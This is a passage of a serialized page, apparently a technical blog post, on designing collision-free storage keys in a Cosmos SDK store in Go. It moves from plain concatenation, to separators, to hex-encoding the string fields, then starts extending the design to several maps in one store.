VaultId",{"type":23,"tag":139,"props":82929,"children":82930},{"style":305},[82931],{"type":28,"value":74106},{"type":23,"tag":139,"props":82933,"children":82934},{"class":141,"line":151},[82935,82939,82944],{"type":23,"tag":139,"props":82936,"children":82937},{"style":279},[82938],{"type":28,"value":30644},{"type":23,"tag":139,"props":82940,"children":82941},{"style":305},[82942],{"type":28,"value":82943}," Username",{"type":23,"tag":139,"props":82945,"children":82946},{"style":305},[82947],{"type":28,"value":82948}," string\n",{"type":23,"tag":139,"props":82950,"children":82951},{"class":141,"line":160},[82952,82956,82961],{"type":23,"tag":139,"props":82953,"children":82954},{"style":279},[82955],{"type":28,"value":30644},{"type":23,"tag":139,"props":82957,"children":82958},{"style":305},[82959],{"type":28,"value":82960}," PositionName",{"type":23,"tag":139,"props":82962,"children":82963},{"style":305},[82964],{"type":28,"value":82948},{"type":23,"tag":139,"props":82966,"children":82967},{"class":141,"line":169},[82968,82972,82976,82980],{"type":23,"tag":139,"props":82969,"children":82970},{"style":279},[82971],{"type":28,"value":30644},{"type":23,"tag":139,"props":82973,"children":82974},{"style":305},[82975],{"type":28,"value":5428},{"type":23,"tag":139,"props":82977,"children":82978},{"style":279},[82979],{"type":28,"value":19159},{"type":23,"tag":139,"props":82981,"children":82982},{"style":259},[82983],{"type":28,"value":1268},{"type":23,"tag":139,"props":82985,"children":82986},{"class":141,"line":178},[82987,82991,82995],{"type":23,"tag":139,"props":82988,"children":82989},{"style":294},[82990],{"type":28,"value":41124},{"type":23,"tag":139,"props":82992,"children":82993},{"style":259},[82994],{"type":28,"value":74131},{"type":23,"tag":139,"props":82996,"children":82997},{"style":305},[82998],{"type":28,"value":82132},{"type":23,"tag":139,"props":83000,"children":83001},{"class":141,"line":187},[83002],{"type":23,"tag":139,"props":83003,"children":83004},{"style":259},[83005],{"type":28,"value":1897},{"type":23,"tag":139,"props":83007,"children":83008},{"class":141,"line":196},[83009,83013,83018],{"type":23,"tag":139,"props":83010,"children":83011},{"style":279},[83012],{"type":28,"value":30644},{"type":23,"tag":139,"props":83014,"children":83015},{"style":305},[83016],{"type":28,"value":83017}," PositionMap",{"type":23,"tag":139,"props":83019,"children":83020},{"style":982},[83021],{"type":28,"value":83022}," :=\n",{"type":23,"tag":139,"props":83024,"children":83025},{"class":141,"line":205},[83026,83031,83035,83040,83044,83048,83052,83057,83061,83065,83069,83074,83078],{"type":23,"tag":139,"props":83027,"children":83028},{"style":279},[83029],{"type":28,"value":83030},"    map",{"type":23,"tag":139,"props":83032,"children":83033},{"style":259},[83034],{"type":28,"value":1723},{"type":23,"tag":139,"props":83036,"children":83037},{"style":305},[83038],{"type":28,"value":83039},"VaultId",{"type":23,"tag":139,"props":83041,"children":83042},{"style":259},[83043],{"type":28,"value":13423},{"type":23,"tag":139,"props":83045,"children":83046},{"style":279},[83047],{"type":28,"value":65003},{"type":23,"tag":139,"props":83049,"children":83050},{"style":259},[83051],{"type":28,"value":1723},{"type":23,"tag":139,"props":83053,"children":83054},{"style":305},[83055],{"type":28,"value":83056},"Username",{"type":23,"tag":139,"props":83058,"children":83059},{"style":259},[83060],{"type":28,"value":13423},{"type":23,"tag":139,"props":83062,"children":83063},{"style":279},[83064],{"type":28,"value":65003},{"type":23,"tag":139,"props":83066,"children":83067},{"style":259},[83068],{"type":28,"value":1723},{"type":23,"tag":139,"props":83070,"children":83071},{"style":305},[83072],{"type":28,"value":83073},"PositionName",{"type":23,"tag":139,"props":83075,"children":83076},{"style":259},[83077],{"type":28,"value":13423},{"type":23,"tag":139,"props":83079,"children":83080},{"style":305},[83081],{"type":28,"value":83082},"Position\n",{"type":23,"tag":24,"props":83084,"children":83085},{},[83086,83088,83094],{"type":28,"value":83087},"Given that there are two levels of keys in ",{"type":23,"tag":135,"props":83089,"children":83091},{"className":83090},[],[83092],{"type":28,"value":83093},"PositionMap",{"type":28,"value":83095},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":128,"props":83097,"children":83099},{"code":83098,"language":74068,"meta":7,"className":74069,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[83100],{"type":23,"tag":135,"props":83101,"children":83102},{"__ignoreMap":7},[83103,83132,83144,83156,83168,83180],{"type":23,"tag":139,"props":83104,"children":83105},{"class":141,"line":142},[83106,83111,83115,83119,83123,83128],{"type":23,"tag":139,"props":83107,"children":83108},{"style":294},[83109],{"type":28,"value":83110},"storageKey",{"type":23,"tag":139,"props":83112,"children":83113},{"style":982},[83114],{"type":28,"value":74320},{"type":23,"tag":139,"props":83116,"children":83117},{"style":294},[83118],{"type":28,"value":80138},{"type":23,"tag":139,"props":83120,"children":83121},{"style":259},[83122],{"type":28,"value":73},{"type":23,"tag":139,"props":83124,"children":83125},{"style":245},[83126],{"type":28,"value":83127},"Sprintf",{"type":23,"tag":139,"props":83129,"children":83130},{"style":259},[83131],{"type":28,"value":1443},{"type":23,"tag":139,"props":83133,"children":83134},{"class":141,"line":151},[83135,83140],{"type":23,"tag":139,"props":83136,"children":83137},{"style":265},[83138],{"type":28,"value":83139},"    \"%d%s%s\"",{"type":23,"tag":139,"props":83141,"children":83142},{"style":259},[83143],{"type":28,"value":1488},{"type":23,"tag":139,"props":83145,"children":83146},{"class":141,"line":160},[83147,83152],{"type":23,"tag":139,"props":83148,"children":83149},{"style":294},[83150],{"type":28,"value":83151},"    vaultId",{"type":23,"tag":139,"props":83153,"children":83154},{"style":259},[83155],{"type":28,"value":1488},{"type":23,"tag":139,"props":83157,"children":83158},{"class":141,"line":169},[83159,83164],{"type":23,"tag":139,"props":83160,"children":83161},{"style":294},[83162],{"type":28,"value":83163},"    username",{"type":23,"tag":139,"props":83165,"children":83166},{"style":259},[83167],{"type":28,"value":1488},{"type":23,"tag":139,"props":83169,"children":83170},{"class":141,"line":178},[83171,83176],{"type":23,"tag":139,"props":83172,"children":83173},{"style":294},[83174],{"type":28,"value":83175},"    positionName",{"type":23,"tag":139,"props":83177,"children":83178},{"style":259},[83179],{"type":28,"value":1488},{"type":23,"tag":139,"props":83181,"children":83182},{"class":141,"line":187},[83183],{"type":23,"tag":139,"props":83184,"children":83185},{"style":259},[83186],{"type":28,"value":273},{"type":23,"tag":24,"props":83188,"children":83189},{},[83190],{"type":28,"value":83191},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":128,"props":83193,"children":83195},{"code":83194},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[83196],{"type":23,"tag":135,"props":83197,"children":83198},{"__ignoreMap":7},[83199],{"type":28,"value":83194},{"type":23,"tag":24,"props":83201,"children":83202},{},[83203,83208],{"type":23,"tag":659,"props":83204,"children":83205},{},[83206],{"type":28,"value":83207},"So, how can we mitigate this issue?",{"type":28,"value":83209},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":128,"props":83211,"children":83213},{"code":83212,"language":74068,"meta":7,"className":74069,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[83214],{"type":23,"tag":135,"props":83215,"children":83216},{"__ignoreMap":7},[83217,83228,83245,83252,83259,83286,83298,83309,83320,83331,83342,83353],{"type":23,"tag":139,"props":83218,"children":83219},{"class":141,"line":142},[83220,83224],{"type":23,"tag":139,"props":83221,"children":83222},{"style":279},[83223],{"type":28,"value":7663},{"type":23,"tag":139,"props":83225,"children":83226},{"style":259},[83227],{"type":28,"value":76470},{"type":23,"tag":139,"props":83229,"children":83230},{"class":141,"line":151},[83231,83236,83240],{"type":23,"tag":139,"props":83232,"children":83233},{"style":294},[83234],{"type":28,"value":83235},"    Seperator",{"type":23,"tag":139,"props":83237,"children":83238},{"style":982},[83239],{"type":28,"value":985},{"type":23,"tag":139,"props":83241,"children":83242},{"style":265},[83243],{"type":28,"value":83244}," \"|\"\n",{"type":23,"tag":139,"props":83246,"children":83247},{"class":141,"line":160},[83248],{"type":23,"tag":139,"props":83249,"children":83250},{"style":259},[83251],{"type":28,"value":273},{"type":23,"tag":139,"props":83253,"children":83254},{"class":141,"line":169},[83255],{"type":23,"tag":139,"props":83256,"children":83257},{"emptyLinePlaceholder":15},[83258],{"type":28,"value":184},{"type":23,"tag":139,"props":83260,"children":83261},{"class":141,"line":178},[83262,83266,83270,83274,83278,83282],{"type":23,"tag":139,"props":83263,"children":83264},{"style":294},[83265],{"type":28,"value":83110},{"type":23,"tag":139,"props":83267,"children":83268},{"style":982},[83269],{"type":28,"value":74320},{"type":23,"tag":139,"props":83271,"children":83272},{"style":294},[83273],{"type":28,"value":80138},{"type":23,"tag":139,"props":83275,"children":83276},{"style":259},[83277],{"type":28,"value":73},{"type":23,"tag":139,"props":83279,"children":83280},{"style":245},[83281],{"type":28,"value":83127},{"type":23,"tag":139,"props":83283,"children":83284},{"style":259},[83285],{"type":28,"value":1443},{"type":23,"tag":139,"props":83287,"children":83288},{"class":141,"line":187},[83289,83294],{"type":23,"tag":139,"props":83290,"children":83291},{"style":265},[83292],{"type":28,"value":83293},"    \"%d%s%s%s%s\"",{"type":23,"tag":139,"props":83295,"children":83296},{"style":259},[83297],{"type":28,"value":1488},{"type":23,"tag":139,"props":83299,"children":83300},{"class":141,"line":196},[83301,83305],{"type":23,"tag":139,"props":83302,"children":83303},{"style":294},[83304],{"type":28,"value":83151},{"type":23,"tag":139,"props":83306,"children":83307},{"style":259},[83308],{"type":28,"value":1488},{"type":23,"tag":139,"props":83310,"children":83311},{"class":141,"line":205},[83312,83316],{"type":23,"tag":139,"props":83313,"children":83314},{"style":294},[83315],{"type":28,"value":83235},{"type":23,"tag":139,"props":83317,"children":83318},{"style":259},[83319],{"type":28,"value":1488},{"type":23,"tag":139,"props":83321,"children":83322},{"class":141,"line":214},[83323,83327],{"type":23,"tag":139,"props":83324,"children":83325},{"style":294},[83326],{"type":28,"value":83163},{"type":23,"tag":139,"props":83328,"children":83329},{"style":259},[83330],{"type":28,"value":1488},{"type":23,"tag":139,"props":83332,"children":83333},{"class":141,"line":1320},[83334,83338],{"type":23,"tag":139,"props":83335,"children":83336},{"style":294},[83337],{"type":28,"value":83235},{"type":23,"tag":139,"props":83339,"children":83340},{"style":259},[83341],{"type":28,"value":1488},{"type":23,"tag":139,"props":83343,"children":83344},{"class":141,"line":1329},[83345,83349],{"type":23,"tag":139,"props":83346,"children":83347},{"style":294},[83348],{"type":28,"value":83175},{"type":23,"tag":139,"props":83350,"children":83351},{"style":259},[83352],{"type":28,"value":1488},{"type":23,"tag":139,"props":83354,"children":83355},{"class":141,"line":1580},[83356],{"type":23,"tag":139,"props":83357,"children":83358},{"style":259},[83359],{"type":28,"value":273},{"type":23,"tag":24,"props":83361,"children":83362},{},[83363],{"type":28,"value":83364},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":83366,"children":83367},{},[83368,83370,83376,83377,83383],{"type":28,"value":83369},"Sadly, it doesn't. Since the ",{"type":23,"tag":135,"props":83371,"children":83373},{"className":83372},[],[83374],{"type":28,"value":83375},"username",{"type":28,"value":9002},{"type":23,"tag":135,"props":83378,"children":83380},{"className":83379},[],[83381],{"type":28,"value":83382},"vaultName",{"type":28,"value":83384}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":128,"props":83386,"children":83388},{"code":83387},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[83389],{"type":23,"tag":135,"props":83390,"children":83391},{"__ignoreMap":7},[83392],{"type":28,"value":83387},{"type":23,"tag":24,"props":83394,"children":83395},{},[83396],{"type":28,"value":83397},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":128,"props":83399,"children":83401},{"code":83400,"language":74068,"meta":7,"className":74069,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[83402],{"type":23,"tag":135,"props":83403,"children":83404},{"__ignoreMap":7},[83405,83416,83431,83438,83445,83452,83473,83489,83527,83534,83571,83578,83598,83613,83649,83656,83691,83698,83725,83736,83747,83758,83770,83781,83789],{"type":23,"tag":139,"props":83406,"children":83407},{"class":141,"line":142},[83408,83412],{"type":23,"tag":139,"props":83409,"children":83410},{"style":279},[83411],{"type":28,"value":7663},{"type":23,"tag":139,"props":83413,"children":83414},{"style":259},[83415],{"type":28,"value":76470},{"type":23,"tag":139,"props":83417,"children":83418},{"class":141,"line":151},[83419,83423,83427],{"type":23,"tag":139,"props":83420,"children":83421},{"style":294},[83422],{"type":28,"value":83235},{"type":23,"tag":139,"props":83424,"children":83425},{"style":982},[83426],{"type":28,"value":985},{"type":23,"tag":139,"props":83428,"children":83429},{"style":265},[83430],{"type":28,"value":83244},{"type":23,"tag":139,"props":83432,"children":83433},{"class":141,"line":160},[83434],{"type":23,"tag":139,"props":83435,"children":83436},{"style":259},[83437],{"type":28,"value":273},{"type":23,"tag":139,"props":83439,"children":83440},{"class":141,"line":169},[83441],{"type":23,"tag":139,"props":83442,"children":83443},{"emptyLinePlaceholder":15},[83444],{"type":28,"value":184},{"type":23,"tag":139,"props":83446,"children":83447},{"class":141,"line":178},[83448],{"type":23,"tag":139,"props":83449,"children":83450},{"emptyLinePlaceholder":15},[83451],{"type":28,"value":184},{"type":23,"tag":139,"props":83453,"children":83454},{"class":141,"line":187},[83455,83460,83464,83469],{"type":23,"tag":139,"props":83456,"children":83457},{"style":294},[83458],{"type":28,"value":83459},"usernameEncoded",{"type":23,"tag":139,"props":83461,"children":83462},{"style":982},[83463],{"type":28,"value":74320},{"type":23,"tag":139,"props":83465,"children":83466},{"style":245},[83467],{"type":28,"value":83468}," make",{"type":23,"tag":139,"props":83470,"children":83471},{"style":259},[83472],{"type":28,"value":1443},{"type":23,"tag":139,"props":83474,"children":83475},{"class":141,"line":196},[83476,83481,83485],{"type":23,"tag":139,"props":83477,"children":83478},{"style":259},[83479],{"type":28,"value":83480},"    []",{"type":23,"tag":139,"props":83482,"children":83483},{"style":305},[83484],{"type":28,"value":82669},{"type":23,"tag":139,"props":83486,"children":83487},{"style":259},[83488],{"type":28,"value":1488},{"type":23,"tag":139,"props":83490,"children":83491},{"class":141,"line":205},[83492,83497,83501,83506,83510,83514,83518,83522],{"type":23,"tag":139,"props":83493,"children":83494},{"style":294},[83495],{"type":28,"value":83496},"    hex",{"type":23,"tag":139,"props":83498,"children":83499},{"style":259},[83500],{"type":28,"value":73},{"type":23,"tag":139,"props":83502,"children":83503},{"style":245},[83504],{"type":28,"value":83505},"EncodedLen",{"type":23,"tag":139,"props":83507,"children":83508},{"style":259},[83509],{"type":28,"value":262},{"type":23,"tag":139,"props":83511,"children":83512},{"style":245},[83513],{"type":28,"value":7146},{"type":23,"tag":139,"props":83515,"children":83516},{"style":259},[83517],{"type":28,"value":262},{"type":23,"tag":139,"props":83519,"children":83520},{"style":294},[83521],{"type":28,"value":83375},{"type":23,"tag":139,"props":83523,"children":83524},{"style":259},[83525],{"type":28,"value":83526},")),\n",{"type":23,"tag":139,"props":83528,"children":83529},{"class":141,"line":214},[83530],{"type":23,"tag":139,"props":83531,"children":83532},{"style":259},[83533],{"type":28,"value":273},{"type":23,"tag":139,"props":83535,"children":83536},{"class":141,"line":1320},[83537,83542,83546,83551,83555,83559,83563,83567],{"type":23,"tag":139,"props":83538,"children":83539},{"style":294},[83540],{"type":28,"value":83541},"hex",{"type":23,"tag":139,"props":83543,"children":83544},{"style":259},[83545],{"type":28,"value":73},{"type":23,"tag":139,"props":83547,"children":83548},{"style":245},[83549],{"type":28,"value":83550},"Encode",{"type":23,"tag":139,"props":83552,"children":83553},{"style":259},[83554],{"type":28,"value":262},{"type":23,"tag":139,"props":83556,"children":83557},{"style":294},[83558],{"type":28,"value":83459},{"type":23,"tag":139,"props":83560,"children":83561},{"style":259},[83562],{"type":28,"value":1052},{"type":23,"tag":139,"props":83564,"children":83565},{"style":294},[83566],{"type":28,"value":83375},{"type":23,"tag":139,"props":83568,"children":83569},{"style":259},[83570],{"type":28,"value":273},{"type":23,"tag":139,"props":83572,"children":83573},{"class":141,"line":1329},[83574],{"type":23,"tag":139,"props":83575,"children":83576},{"emptyLinePlaceholder":15},[83577],{"type":28,"value":184},{"type":23,"tag":139,"props":83579,"children":83580},{"class":141,"line":1580},[83581,83586,83590,83594],{"type":23,"tag":139,"props":83582,"children":83583},{"style":294},[83584],{"type":28,"value":83585},"positionNameEncoded",{"type":23,"tag":139,"props":83587,"children":83588},{"style":982},[83589],{"type":28,"value":74320},{"type":23,"tag":139,"props":83591,"children":83592},{"style":245},[83593],{"type":28,"value":83468},{"type":23,"tag":139,"props":83595,"children":83596},{"style":259},[83597],{"type":28,"value":1443},{"type":23,"tag":139,"props":83599,"children":83600},{"class":141,"line":1597},[83601,83605,83609],{"type":23,"tag":139,"props":83602,"children":83603},{"style":259},[83604],{"type":28,"value":83480},{"type":23,"tag":139,"props":83606,"children":83607},{"style":305},[83608],{"type":28,"value":82669},{"type":23,"tag":139,"props":83610,"children":83611},{"style":259},[83612],{"type":28,"value":1488},{"type":23,"tag":139,"props":83614,"children":83615},{"class":141,"line":1614},[83616,83620,83624,83628,83632,83636,83640,83645],{"type":23,"tag":139,"props":83617,"children":83618},{"style":294},[83619],{"type":28,"value":83496},{"type":23,"tag":139,"props":83621,"children":83622},{"style":259},[83623],{"type":28,"value":73},{"type":23,"tag":139,"props":83625,"children":83626},{"style":245},[83627],{"type":28,"value":83505},{"type":23,"tag":139,"props":83629,"children":83630},{"style":259},[83631],{"type":28,"value":262},{"type":23,"tag":139,"props":83633,"children":83634},{"style":245},[83635],{"type":28,"value":7146},{"type":23,"tag":139,"props":83637,"children":83638},{"style":259},[83639],{"type":28,"value":262},{"type":23,"tag":139,"props":83641,"children":83642},{"style":294},[83643],{"type":28,"value":83644},"positionName",{"type":23,"tag":139,"props":83646,"children":83647},{"style":259},[83648],{"type":28,"value":83526},{"type":23,"tag":139,"props":83650,"children":83651},{"class":141,"line":1627},[83652],{"type":23,"tag":139,"props":83653,"children":83654},{"style":259},[83655],{"type":28,"value":273},{"type":23,"tag":139,"props":83657,"children":83658},{"class":141,"line":1636},[83659,83663,83667,83671,83675,83679,83683,83687],{"type":23,"tag":139,"props":83660,"children":83661},{"style":294},[83662],{"type":28,"value":83541},{"type":23,"tag":139,"props":83664,"children":83665},{"style":259},[83666],{"type":28,"value":73},{"type":23,"tag":139,"props":83668,"children":83669},{"style":245},[83670],{"type":28,"value":83550},{"type":23,"tag":139,"props":83672,"children":83673},{"style":259},[83674],{"type":28,"value":262},{"type":23,"tag":139,"props":83676,"children":83677},{"style":294},[83678],{"type":28,"value":83585},{"type":23,"tag":139,"props":83680,"children":83681},{"style":259},[83682],{"type":28,"value":1052},{"type":23,"tag":139,"props":83684,"children":83685},{"style":294},[83686],{"type":28,"value":83644},{"type":23,"tag":139,"props":83688,"children":83689},{"style":259},[83690],{"type":28,"value":273},{"type":23,"tag":139,"props":83692,"children":83693},{"class":141,"line":1659},[83694],{"type":23,"tag":139,"props":83695,"children":83696},{"emptyLinePlaceholder":15},[83697],{"type":28,"value":184},{"type":23,"tag":139,"props":83699,"children":83700},{"class":141,"line":1667},[83701,83705,83709,83713,83717,83721],{"type":23,"tag":139,"props":83702,"children":83703},{"style":294},[83704],{"type":28,"value":83110},{"type":23,"tag":139,"props":83706,"children":83707},{"style":982},[83708],{"type":28,"value":74320},{"type":23,"tag":139,"props":83710,"children":83711},{"style":294},[83712],{"type":28,"value":80138},{"type":23,"tag":139,"props":83714,"children":83715},{"style":259},[83716],{"type":28,"value":73},{"type":23,"tag":139,"props":83718,"children":83719},{"style":245},[83720],{"type":28,"value":83127},{"type":23,"tag":139,"props":83722,"children":83723},{"style":259},[83724],{"type":28,"value":1443},{"type":23,"tag":139,"props":83726,"children":83727},{"class":141,"line":1676},[83728,83732],{"type":23,"tag":139,"props":83729,"children":83730},{"style":265},[83731],{"type":28,"value":83293},{"type":23,"tag":139,"props":83733,"children":83734},{"style":259},[83735],{"type":28,"value":1488},{"type":23,"tag":139,"props":83737,"children":83738},{"class":141,"line":1745},[83739,83743],{"type":23,"tag":139,"props":83740,"children":83741},{"style":294},[83742],{"type":28,"value":83151},{"type":23,"tag":139,"props":83744,"children":83745},{"style":259},[83746],{"type":28,"value":1488},{"type":23,"tag":139,"props":83748,"children":83749},{"class":141,"line":1753},[83750,83754],{"type":23,"tag":139,"props":83751,"children":83752},{"style":294},[83753],{"type":28,"value":83235},{"type":23,"tag":139,"props":83755,"children":83756},{"style":259},[83757],{"type":28,"value":1488},{"type":23,"tag":139,"props":83759,"children":83760},{"class":141,"line":1783},[83761,83766],{"type":23,"tag":139,"props":83762,"children":83763},{"style":294},[83764],{"type":28,"value":83765},"    usernameEncoded",{"type":23,"tag":139,"props":83767,"children":83768},{"style":259},[83769],{"type":28,"value":1488},{"type":23,"tag":139,"props":83771,"children":83772},{"class":141,"line":1791},[83773,83777],{"type":23,"tag":139,"props":83774,"children":83775},{"style":294},[83776],{"type":28,"value":83235},{"type":23,"tag":139,"props":83778,"children":83779},{"style":259},[83780],{"type":28,"value":1488},{"type":23,"tag":139,"props":83782,"children":83783},{"class":141,"line":1823},[83784],{"type":23,"tag":139,"props":83785,"children":83786},{"style":294},[83787],{"type":28,"value":83788},"    positionNameEncoded\n",{"type":23,"tag":139,"props":83790,"children":83791},{"class":141,"line":1831},[83792],{"type":23,"tag":139,"props":83793,"children":83794},{"style":259},[83795],{"type":28,"value":273},{"type":23,"tag":24,"props":83797,"children":83798},{},[83799,83801,83806],{"type":28,"value":83800},"We did it. We finally eliminated all potential ",{"type":23,"tag":135,"props":83802,"children":83804},{"className":83803},[],[83805],{"type":28,"value":83110},{"type":28,"value":83807}," collisions.",{"type":23,"tag":24,"props":83809,"children":83810},{},[83811],{"type":28,"value":83812},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":83814,"children":83815},{},[83816,83818,83824,83826,83831,83833,83838,83840,83845,83847,83853],{"type":28,"value":83817},"In the Cosmos framework, it is common for each ",{"type":23,"tag":135,"props":83819,"children":83821},{"className":83820},[],[83822],{"type":28,"value":83823},"Module",{"type":28,"value":83825}," to own a few ",{"type":23,"tag":135,"props":83827,"children":83829},{"className":83828},[],[83830],{"type":28,"value":82881},{"type":28,"value":83832}," and have individual ",{"type":23,"tag":135,"props":83834,"children":83836},{"className":83835},[],[83837],{"type":28,"value":77849},{"type":28,"value":83839},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":135,"props":83841,"children":83843},{"className":83842},[],[83844],{"type":28,"value":82881},{"type":28,"value":83846}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":135,"props":83848,"children":83850},{"className":83849},[],[83851],{"type":28,"value":83852},"Modules",{"type":28,"value":73},{"type":23,"tag":24,"props":83855,"children":83856},{},[83857,83859,83864],{"type":28,"value":83858},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":135,"props":83860,"children":83862},{"className":83861},[],[83863],{"type":28,"value":82881},{"type":28,"value":1132},{"type":23,"tag":24,"props":83866,"children":83867},{},[83868,83870,83876,83878,83883],{"type":28,"value":83869},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":135,"props":83871,"children":83873},{"className":83872},[],[83874],{"type":28,"value":83875},"NameToAddressMap",{"type":28,"value":83877}," structure, which will be stored in the same ",{"type":23,"tag":135,"props":83879,"children":83881},{"className":83880},[],[83882],{"type":28,"value":82881},{"type":28,"value":83884}," we previously used.",{"type":23,"tag":128,"props":83886,"children":83888},{"code":83887,"language":74068,"meta":7,"className":74069,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[83889],{"type":23,"tag":135,"props":83890,"children":83891},{"__ignoreMap":7},[83892,83907,83922,83929,83944,83963,83978,83985,84000,84055,84062,84078,84098,84113,84120,84136],{"type":23,"tag":139,"props":83893,"children":83894},{"class":141,"line":142},[83895,83899,83903],{"type":23,"tag":139,"props":83896,"children":83897},{"style":279},[83898],{"type":28,"value":30644},{"type":23,"tag":139,"props":83900,"children":83901},{"style":305},[83902],{"type":28,"value":82927},{"type":23,"tag":139,"props":83904,"children":83905},{"style":305},[83906],{"type":28,"value":74106},{"type":23,"tag":139,"props":83908,"children":83909},{"class":141,"line":151},[83910,83914,83918],{"type":23,"tag":139,"props":83911,"children":83912},{"style":279},[83913],{"type":28,"value":30644},{"type":23,"tag":139,"props":83915,"children":83916},{"style":305},[83917],{"type":28,"value":82943},{"type":23,"tag":139,"props":83919,"children":83920},{"style":305},[83921],{"type":28,"value":82948},{"type":23,"tag":139,"props":83923,"children":83924},{"class":141,"line":160},[83925],{"type":23,"tag":139,"props":83926,"children":83927},{"emptyLinePlaceholder":15},[83928],{"type":28,"value":184},{"type":23,"tag":139,"props":83930,"children":83931},{"class":141,"line":169},[83932,83936,83940],{"type":23,"tag":139,"props":83933,"children":83934},{"style":279},[83935],{"type":28,"value":30644},{"type":23,"tag":139,"props":83937,"children":83938},{"style":305},[83939],{"type":28,"value":82960},{"type":23,"tag":139,"props":83941,"children":83942},{"style":305},[83943],{"type":28,"value":82948},{"type":23,"tag":139,"props":83945,"children":83946},{"class":141,"line":178},[83947,83951,83955,83959],{"type":23,"tag":139,"props":83948,"children":83949},{"style":279},[83950],{"type":28,"value":30644},{"type":23,"tag":139,"props":83952,"children":83953},{"style":305},[83954],{"type":28,"value":5428},{"type":23,"tag":139,"props":83956,"children":83957},{"style":279},[83958],{"type":28,"value":19159},{"type":23,"tag":139,"props":83960,"children":83961},{"style":259},[83962],{"type":28,"value":1268},{"type":23,"tag":139,"props":83964,"children":83965},{"class":141,"line":187},[83966,83970,83974],{"type":23,"tag":139,"props":83967,"children":83968},{"style":294},[83969],{"type":28,"value":41124},{"type":23,"tag":139,"props":83971,"children":83972},{"style":259},[83973],{"type":28,"value":74131},{"type":23,"tag":139,"props":83975,"children":83976},{"style":305},[83977],{"type":28,"value":82132},{"type":23,"tag":139,"props":83979,"children":83980},{"class":141,"line":196},[83981],{"type":23,"tag":139,"props":83982,"children":83983},{"style":259},[83984],{"type":28,"value":1897},{"type":23,"tag":139,"props":83986,"children":83987},{"class":141,"line":205},[83988,83992,83996],{"type":23,"tag":139,"props":83989,"children":83990},{"style":279},[83991],{"type":28,"value":30644},{"type":23,"tag":139,"props":83993,"children":83994},{"style":305},[83995],{"type":28,"value":83017},{"type":23,"tag":139,"props":83997,"children":83998},{"style":982},[83999],{"type":28,"value":83022},{"type":23,"tag":139,"props":84001,"children":84002},{"class":141,"line":214},[84003,84007,84011,84015,84019,84023,84027,84031,84035,84039,84043,84047,84051],{"type":23,"tag":139,"props":84004,"children":84005},{"style":279},[84006],{"type":28,"value":83030},{"type":23,"tag":139,"props":84008,"children":84009},{"style":259},[84010],{"type":28,"value":1723},{"type":23,"tag":139,"props":84012,"children":84013},{"style":305},[84014],{"type":28,"value":83039},{"type":23,"tag":139,"props":84016,"children":84017},{"style":259},[84018],{"type":28,"value":13423},{"type":23,"tag":139,"props":84020,"children":84021},{"style":279},[84022],{"type":28,"value":65003},{"type":23,"tag":139,"props":84024,"children":84025},{"style":259},[84026],{"type":28,"value":1723},{"type":23,"tag":139,"props":84028,"children":84029},{"style":305},[84030],{"type":28,"value":83056},{"type":23,"tag":139,"props":84032,"children":84033},{"style":259},[84034],{"type":28,"value":13423},{"type":23,"tag":139,"props":84036,"children":84037},{"style":279},[84038],{"type":28,"value":65003},{"type":23,"tag":139,"props":84040,"children":84041},{"style":259},[84042],{"type":28,"value":1723},{"type":23,"tag":139,"props":84044,"children":84045},{"style":305},[84046],{"type":28,"value":83073},{"type":23,"tag":139,"props":84048,"children":84049},{"style":259},[84050],{"type":28,"value":13423},{"type":23,"tag":139,"props":84052,"children":84053},{"style":305},[84054],{"type":28,"value":83082},{"type":23,"tag":139,"props":84056,"children":84057},{"class":141,"line":1320},[84058],{"type":23,"tag":139,"props":84059,"children":84060},{"emptyLinePlaceholder":15},[84061],{"type":28,"value":184},{"type":23,"tag":139,"props":84063,"children":84064},{"class":141,"line":1329},[84065,84069,84074],{"type":23,"tag":139,"props":84066,"children":84067},{"style":279},[84068],{"type":28,"value":30644},{"type":23,"tag":139,"props":84070,"children":84071},{"style":305},[84072],{"type":28,"value":84073}," 